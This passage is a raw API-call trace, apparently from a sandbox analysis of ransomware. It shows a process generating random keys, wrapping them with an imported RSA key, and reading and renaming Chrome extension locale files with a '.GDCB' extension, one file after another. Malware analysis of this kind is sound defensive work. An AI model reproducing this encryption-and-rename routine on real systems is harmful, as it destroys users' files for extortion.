dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.115] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e9a0) returned 1 [0280.115] CryptGetKeyParam (in: hKey=0x678e9a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.115] CryptEncrypt (in: hKey=0x678e9a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.115] GetLastError () returned 0x0 [0280.115] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.115] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.118] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e8e0) returned 1 [0280.118] CryptGetKeyParam (in: hKey=0x678e8e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.118] CryptEncrypt (in: hKey=0x678e8e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.118] GetLastError () returned 0x0 [0280.118] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.118] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.120] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.127] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.131] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3f8b, lpOverlapped=0x0) returned 1 [0280.140] VirtualAlloc (lpAddress=0x0, dwSize=0x3f90, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.147] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json.gdcb")) returned 1 [0280.152] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.155] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.158] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.158] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.158] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.158] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.161] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.164] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.164] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.164] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.164] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.167] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e920) returned 1 [0280.167] CryptGetKeyParam (in: hKey=0x678e920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.167] CryptEncrypt (in: hKey=0x678e920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.167] GetLastError () returned 0x0 [0280.167] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.167] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.169] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ea60) returned 1 [0280.169] CryptGetKeyParam (in: hKey=0x678ea60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.169] CryptEncrypt (in: hKey=0x678ea60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.169] GetLastError () returned 0x0 [0280.169] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.169] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.171] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.174] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.176] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3ebc, lpOverlapped=0x0) returned 1 [0280.185] VirtualAlloc (lpAddress=0x0, dwSize=0x3ec0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.194] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json.gdcb")) returned 1 [0280.201] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.204] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.207] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.207] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.207] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.207] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.212] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.212] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.213] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.215] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678eee0) returned 1 [0280.215] CryptGetKeyParam (in: hKey=0x678eee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.215] CryptEncrypt (in: hKey=0x678eee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.215] GetLastError () returned 0x0 [0280.215] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.215] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.217] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ef20) returned 1 [0280.217] CryptGetKeyParam (in: hKey=0x678ef20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.217] CryptEncrypt (in: hKey=0x678ef20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.218] GetLastError () returned 0x0 [0280.218] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.218] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.220] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.223] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.226] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3f45, lpOverlapped=0x0) returned 1 [0280.236] VirtualAlloc (lpAddress=0x0, dwSize=0x3f50, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.243] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json.gdcb")) returned 1 [0280.249] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.252] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.255] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.255] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.255] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.255] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.260] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.260] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.260] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.261] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0280.264] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ef60) returned 1 [0280.264] CryptGetKeyParam (in: hKey=0x678ef60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.264] CryptEncrypt (in: hKey=0x678ef60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.264] GetLastError () returned 0x0 [0280.264] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.264] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.266] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678efe0) returned 1 [0280.266] CryptGetKeyParam (in: hKey=0x678efe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.266] CryptEncrypt (in: hKey=0x678efe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.267] GetLastError () returned 0x0 [0280.267] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.267] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.268] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.271] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.274] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3fd7, lpOverlapped=0x0) returned 1 [0280.283] VirtualAlloc (lpAddress=0x0, dwSize=0x3fe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.290] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json.gdcb")) returned 1 [0280.296] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.300] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.302] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.302] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.302] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.302] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.306] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.307] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.307] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.307] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.309] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e960) returned 1 [0280.309] CryptGetKeyParam (in: hKey=0x678e960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.309] CryptEncrypt (in: hKey=0x678e960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.310] GetLastError () returned 0x0 [0280.310] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.310] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.311] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e9e0) returned 1 [0280.312] CryptGetKeyParam (in: hKey=0x678e9e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.312] CryptEncrypt (in: hKey=0x678e9e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.312] GetLastError () returned 0x0 [0280.312] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.312] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.313] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.316] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.319] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3fdc, lpOverlapped=0x0) returned 1 [0280.338] VirtualAlloc (lpAddress=0x0, dwSize=0x3fe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.345] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json.gdcb")) returned 1 [0280.348] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.352] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.355] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.355] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.355] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.355] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.360] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.363] GetProcAddress 